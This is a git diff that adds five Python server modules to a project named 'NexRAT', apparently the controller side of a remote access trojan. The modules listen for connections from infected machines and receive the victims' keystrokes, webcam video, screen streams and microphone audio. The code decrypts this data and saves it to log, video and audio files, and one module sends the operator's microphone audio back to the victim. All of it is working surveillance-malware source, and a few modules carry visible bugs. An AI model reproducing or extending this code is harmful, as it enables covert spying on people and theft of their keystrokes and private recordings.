NexRATHEADmain

5 files changed, 600 insertions, 0 deletions

diff --git a/Modules/Servers/audio.py b/Modules/Servers/audio.py
new file mode 100644
index 0000000..ffa2da9
--- /dev/null
+++ b/Modules/Servers/audio.py
@@ -0,0 +1,118 @@
+import pyaudio
+import socket
+import pickle
+import zlib
+import time
+import wave
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+	info = get_module_data()
+	audio_settings = []
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.bind((info[1], int(info[3].split(',')[2])))
+	s.listen()
+except:
+	exit(0)
+
+
+def audio_info():
+	info = '\n'
+	
+	for index, setting in enumerate(audio_settings):
+		info += f'    - {setting[0]}[{index}]'
+		if len(audio_settings) > 1 and index + 1 != len(audio_settings):
+			info += '\n'
+	
+	if len(audio_settings) == 0:
+		info = 'False'
+		
+	return info
+
+
+def set_audio_settings(index):
+	global audio_settings
+
+	try:
+		if index == '*':
+			for audio_setting in audio_settings:
+				audio_setting[1].close()
+			return 'Audios closed!'
+		else:
+			audio_settings[int(index)][1].close()
+			return 'Audio closed!'
+	except:
+		return 'Audio failed to close.'
+
+
+def Audio(encoding, path, user):
+	try:
+		global audio_settings
+
+		CHUNK = 81920
+		FORMAT = pyaudio.paInt16
+		CHANNELS = 2
+		RATE = 44100
+		headersize = 10
+		new_msg = True
+		msg_len = 0
+		full_msg = b''
+		msg = b'next'
+
+		e = Encryption()
+		client, addr = s.accept()
+
+		u = (user, client, addr)
+		audio_settings.append(u)
+
+		real_msg = pickle.dumps(msg)
+		real_msg = zlib.compress(real_msg, 1)
+		real_msg = e.do_encrypt(real_msg)
+		final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+		client.send(final_msg)
+
+		p = pyaudio.PyAudio()
+		stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+		frames = []
+
+		while True:
+			try:
+				client_msg = client.recv(81920)
+
+				if new_msg:
+					msg_len = int(client_msg[:headersize])
+					new_msg = False
+
+				full_msg += client_msg
+
+				if len(full_msg)-headersize == msg_len:
+					frame = e.do_decrypt(full_msg[headersize:])
+					frame = zlib.decompress(frame)
+					frame = pickle.loads(frame)
+
+					stream.write(frame)
+					frames.append(frame)
+
+					real_msg = pickle.dumps(msg)
+					real_msg = zlib.compress(real_msg, 1)
+					real_msg = e.do_encrypt(real_msg)
+					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+					client.send(final_msg)
+					
+					new_msg = True
+					msg_len = 0
+					full_msg = b''
+			except:
+				audio_settings.remove(u)
+				waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
+				waveFile.setnchannels(CHANNELS)
+				waveFile.setsampwidth(p.get_sample_size(FORMAT))
+				waveFile.setframerate(RATE)
+				waveFile.writeframes(b''.join(frames))
+				waveFile.close()
+				exit(0)
+	except:
+		exit(0)
\ No newline at end of file
diff --git a/Modules/Servers/cam.py b/Modules/Servers/cam.py
new file mode 100644
index 0000000..4e8aeb9
--- /dev/null
+++ b/Modules/Servers/cam.py
@@ -0,0 +1,119 @@
+import random
+import socket
+import pickle
+import zlib
+import time
+import cv2
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+	info = get_module_data()
+	cam_settings = []
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.bind((info[1], int(info[3].split(',')[1])))
+	s.listen()
+except:
+	exit(0)
+
+
+def cam_info():
+	info = '\n'
+	
+	for index, setting in enumerate(cam_settings):
+		info += f'    - {setting[0]}[{index}]'
+		if len(cam_settings) > 1 and index + 1 != len(cam_settings):
+			info += '\n'
+	
+	if len(cam_settings) == 0:
+		info = 'False'
+		
+	return info
+
+
+def set_cam_settings(index):
+	global cam_settings
+
+	try:
+		if index == '*':
+			for cam_setting in cam_settings:
+				cam_setting[1].close()
+			return 'Cams closed!'
+		else:
+			stream_settings[int(index)][1].close()
+			return 'Cam closed!'
+	except:
+		return 'Cam failed to close.'
+
+
+
+def Cam(encoding, path, user, quality):
+	try:
+		global cam_settings
+
+		FRAMES = 5.0
+		headersize = 10
+		new_msg = True
+		msg_len = 0
+		full_msg = b''
+		msg = b'next'
+
+		r = random.randint(0, 1000000)
+		e = Encryption()
+		client, addr = s.accept()
+
+		u = (user, client, addr)
+		cam_settings.append(u)
+
+		real_msg = pickle.dumps(msg)
+		real_msg = zlib.compress(real_msg, 1)
+		real_msg = e.do_encrypt(real_msg)
+		final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+		client.send(final_msg)
+
+		fourcc = cv2.VideoWriter_fourcc(*'XVID')
+		out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, quality)
+
+		while True:
+			try:
+				client_msg = client.recv(81920)
+
+				if new_msg:
+					msg_len = int(client_msg[:headersize])
+					new_msg = False
+
+				full_msg += client_msg
+
+				if len(full_msg)-headersize == msg_len:
+					frame = e.do_decrypt(full_msg[headersize:])
+					frame = zlib.decompress(frame)
+					frame = pickle.loads(frame)
+					
+					cv2.namedWindow(f'{user}\'s live cam. {r}', cv2.WINDOW_NORMAL)
+					cv2.imshow(f'{user}\'s live cam. {r}', frame)
+					out.write(frame)
+
+					if cv2.waitKey(1) == 27:
+						client.close()
+						break
+				
+					real_msg = pickle.dumps(msg)
+					real_msg = zlib.compress(real_msg, 1)
+					real_msg = e.do_encrypt(real_msg)
+					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+					client.send(final_msg)
+					
+					new_msg = True
+					msg_len = 0
+					full_msg = b''
+			except:
+				cam_settings.remove(u)
+				out.release()
+				exit(0)
+
+		cam_settings.remove(u)
+		out.release()
+	except:
+		exit(0)
\ No newline at end of file
diff --git a/Modules/Servers/keylogger.py b/Modules/Servers/keylogger.py
new file mode 100644
index 0000000..7d6f337
--- /dev/null
+++ b/Modules/Servers/keylogger.py
@@ -0,0 +1,131 @@
+import socket
+import pickle
+import zlib
+import time
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+	info = get_module_data()
+	keylogger_settings = []
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.bind((info[1], int(info[3].split(',')[3])))
+	s.listen()
+except:
+	exit(0)
+
+
+def keylogger_info():
+	info = '\n'
+	
+	for index, setting in enumerate(keylogger_settings):
+		info += f'    - {setting[0]}[{index}]'
+		if len(keylogger_settings) > 1 and index + 1 != len(keylogger_settings):
+			info += '\n'
+	
+	if len(keylogger_settings) == 0:
+		info = 'False'
+		
+	return info
+
+
+def set_keylogger_settings(index):
+	global keylogger_settings
+
+	try:
+		if index == '*':
+			for keylogger_setting in keylogger_settings:
+				keylogger_setting[1].close()
+			return 'Keyloggers closed!'
+		else:
+			keylogger_settings[int(index)][1].close()
+			return 'Keylogger closed!'
+	except:
+		return 'Keylogger failed to close.'
+
+
+def get_logs(index):
+	try:
+		with open(keylogger_settings[index][3], 'r') as f:
+			return (keylogger_settings[index][0], f.read())
+	except:
+		return None
+
+
+def Keylogger(encoding, path, user):
+	try:
+		global keylogger_settings
+
+		fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt'
+		first = True
+		headersize = 10
+		new_msg = True
+		msg_len = 0
+		full_msg = b''
+		msg = b'next'
+
+		e = Encryption()
+		client, addr = s.accept()
+
+		u = (user, client, addr, fn)
+		keylogger_settings.append(u)
+
+
+		with open(fn, 'a') as f:
+			f.write(f'Logging key strokes of {user}...  [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n')
+			f.flush()
+
+			real_msg = pickle.dumps(msg)
+			real_msg = zlib.compress(real_msg, 1)
+			real_msg = e.do_encrypt(real_msg)
+			final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+			client.send(final_msg)
+
+			while True:
+				client_msg = client.recv(1024)
+
+				if new_msg:
+					msg_len = int(client_msg[:headersize])
+					new_msg = False
+
+				full_msg += client_msg
+
+				if len(full_msg)-headersize == msg_len:
+					log = e.do_decrypt(full_msg[headersize:])
+					log = zlib.decompress(log)
+					log = pickle.loads(log)
+
+					result = ''
+					key = log.replace("'", '')
+					t = time.strftime("%Y-%m-%d (%H-%M-%S): ")
+
+					if first:
+						if 'Key.space' not in log or 'Key.enter' not in log:
+							result = t
+						first = False
+					
+					if len(key) > 1:
+						result += f'[{key}]'  
+					else:
+						result += key
+
+					if 'Key.space' in log or 'Key.enter' in log:
+						result = f'\n{t}{result}' 
+					
+					f.write(result)
+					f.flush()
+
+					real_msg = pickle.dumps(msg)
+					real_msg = zlib.compress(real_msg, 1)
+					real_msg = e.do_encrypt(real_msg)
+					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+					client.send(final_msg)
+					
+					new_msg = True
+					msg_len = 0
+					full_msg = b''
+	except:
+		keylogger_settings.remove(u)
+		exit(0)
\ No newline at end of file
diff --git a/Modules/Servers/stream.py b/Modules/Servers/stream.py
new file mode 100644
index 0000000..727e2b4
--- /dev/null
+++ b/Modules/Servers/stream.py
@@ -0,0 +1,119 @@
+import random
+import socket
+import pickle
+import zlib
+import time
+import cv2
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+	info = get_module_data()
+	stream_settings = []
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.bind((info[1], int(info[3].split(',')[0])))
+	s.listen()
+except:
+	exit(0)
+
+
+def stream_info():
+	info = '\n'
+	
+	for index, setting in enumerate(stream_settings):
+		info += f'    - {setting[0]}[{index}]'
+		if len(stream_settings) > 1 and index + 1 != len(stream_settings):
+			info += '\n'
+	
+	if len(stream_settings) == 0:
+		info = 'False'
+		
+	return info
+
+
+def set_stream_settings(index):
+	global stream_settings
+
+	try:
+		if index == '*':
+			for stream_setting in stream_settings:
+				stream_setting[1].close()
+			return 'Streams closed!'
+		else:
+			stream_settings[int(index)][1].close()
+			return 'Stream closed!'
+	except:
+		return 'Stream failed to close.'
+
+
+def Stream(encoding, path, user):
+	try:
+		global stream_settings
+
+		FRAMES = 5.0
+		QUALITY = (1920, 1080)
+		headersize = 10
+		new_msg = True
+		msg_len = 0
+		full_msg = b''
+		msg = b'next'
+
+		r = random.randint(0, 1000000)
+		e = Encryption()
+		client, addr = s.accept()
+
+		u = (user, client, addr)
+		stream_settings.append(u)
+
+		real_msg = pickle.dumps(msg)
+		real_msg = zlib.compress(real_msg, 1)
+		real_msg = e.do_encrypt(real_msg)
+		final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
+		client.send(final_msg)
+
+		fourcc = cv2.VideoWriter_fourcc(*'XVID')
+		out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, QUALITY)
+
+		while True:
+			try:
+				client_msg = client.recv(81920)
+
+				if new_msg:
+					msg_len = int(client_msg[:headersize])
+					new_msg = False
+
+				full_msg += client_msg
+
+				if len(full_msg)-headersize == msg_len:
+					frame = e.do_decrypt(full_msg[headersize:])
+					frame = zlib.decompress(frame)
+					frame = pickle.loads(frame)
+
+					cv2.namedWindow(f'{user}\'s live stream. {r}', cv2.WINDOW_NORMAL)
+					cv2.imshow(f'{user}\'s live stream. {r}', frame)
+					out.write(frame)
+
+					if cv2.waitKey(1) == 27:
+						client.close()
+						break
+				
+					real_msg = pickle.dumps(msg)
+					real_msg = zlib.compress(real_msg, 1)
+					real_msg = e.do_encrypt(real_msg)
+					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+					client.send(final_msg)
+					
+					new_msg = True
+					msg_len = 0
+					full_msg = b''
+			except:
+				stream_settings.remove(u)
+				out.release()
+				exit(0)
+
+		stream_settings.remove(u)
+		out.release()
+	except:
+		exit(0)
\ No newline at end of file
diff --git a/Modules/Servers/talk.py b/Modules/Servers/talk.py
new file mode 100644
index 0000000..499fadd
--- /dev/null
+++ b/Modules/Servers/talk.py
@@ -0,0 +1,113 @@
+import pyaudio
+import socket
+import pickle
+import zlib
+import time
+import wave
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+	info = get_module_data()
+	talk_settings = []
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.bind((info[1], int(info[3].split(',')[4])))
+	s.listen()
+except:
+	exit(0)
+
+
+def talk_info():
+	info = '\n'
+	
+	for index, setting in enumerate(talk_settings):
+		info += f'    - {setting[0]}[{index}]'
+		if len(talk_settings) > 1 and index + 1 != len(talk_settings):
+			info += '\n'
+	
+	if len(talk_settings) == 0:
+		info = 'False'
+		
+	return info
+
+
+def set_talk_settings(index):
+	global talk_settings
+
+	try:
+		if index == '*':
+			for talk_setting in talk_settings:
+				talk_setting[1].close()
+			return 'Talks closed!'
+		else:
+			talk_settings[int(index)][1].close()
+			return 'Talk closed!'
+	except:
+		return 'Talk failed to close.'
+
+
+def Talk(encoding, path, user):
+	try:
+		global talk_settings
+
+		CHUNK = 81920
+		FORMAT = pyaudio.paInt16
+		CHANNELS = 2
+		RATE = 44100
+		headersize = 10
+		new_msg = True
+		msg_len = 0
+		full_msg = b''
+		frames = []
+
+		e = Encryption()
+		client, addr = s.accept()
+
+		u = (user, client, addr)
+		talk_settings.append(u)
+
+		p = pyaudio.PyAudio()
+		stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+
+		msg = pickle.dumps(stream.read(CHUNK))
+		msg = zlib.compress(msg, 1)
+		msg = e.do_encrypt(msg)
+		final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
+		client.send(final_msg)
+
+		while True:
+			try:
+				client_msg = client.recv(1024)
+
+				if new_msg:
+					msg_len = int(client_msg[:headersize])
+					new_msg = False
+
+				full_msg += client_msg
+
+				if len(full_msg)-headersize == msg_len:
+					data = stream.read(CHUNK)
+					frames.append(data)
+
+					msg = pickle.dumps(data)
+					msg = zlib.compress(msg, 1)
+					msg = e.do_encrypt(msg)
+					final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
+					client.send(final_msg)
+					
+					new_msg = True
+					msg_len = 0
+					full_msg = b''
+			except:
+				talk_settings.remove(u)
+				waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
+				waveFile.setnchannels(CHANNELS)
+				waveFile.setsampwidth(p.get_sample_size(FORMAT))
+				waveFile.setframerate(RATE)
+				waveFile.writeframes(b''.join(frames))
+				waveFile.close()
+				exit(0)
+	except:
+		exit(0)
\ No newline at end of file